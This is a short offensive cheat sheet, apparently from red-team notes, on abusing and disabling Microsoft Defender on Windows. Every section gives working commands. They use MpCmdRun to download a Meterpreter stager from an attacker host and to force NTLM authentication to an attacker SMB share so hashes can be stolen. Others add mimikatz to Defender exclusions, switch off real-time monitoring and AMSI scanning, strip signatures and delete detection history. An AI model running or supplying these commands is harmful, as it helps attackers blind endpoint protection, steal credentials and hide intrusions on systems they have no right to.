Defender

Microsoft Defender

Download stager without triggering Defender to scan it:

PS > .\MpCmdRun.exe -DownloadFile -Url http://127.0.0.1/met.exe -Path C:\Users\user\music\met.exe

Coerce the victim machine to reach the attacker (to steal Net-NTLM):

Cmd > C:\PROGRA~1\WINDOW~1\MpCmdRun.exe -Scan -ScanType 3 -File '\\10.10.13.37\share\file'

Exclusions

Add path to exclusions:

PS > $mimi = "C:\Users\user\music\mimi\x64\mimikatz.exe"
PS > Add-MpPreference -ExclusionPath $mimi -AttackSurfaceReductionOnlyExclusions $mimi

Test path for an exclusion:

PS > & "C:\Program Files\Windows Defender\MpCmdRun.exe" -Scan -ScanType 3 -File "C:\folder_to_check\|*"

Disable Defender

Disable real-time protection (proactive):

PS > Set-MpPreference -DisableRealTimeMonitoring $true

Disable scanning all downloaded files and attachments, disable AMSI (reactive):

PS > Set-MpPreference -DisableIOAVProtection $true

Remove signatures (if Internet connection is present, they will be downloaded again):

PS > cd "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.9-0"
PS > .\MpCmdRun.exe -RemoveDefinitions -All
Or
Cmd > "%PROGRAMFILES%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All

Clear threats history manually:

Cmd > del /S "C:\ProgramData\Microsoft\Windows Defender\Scans\History\Service\DetectionHistory\*"

Lower Token Integrity

Last updated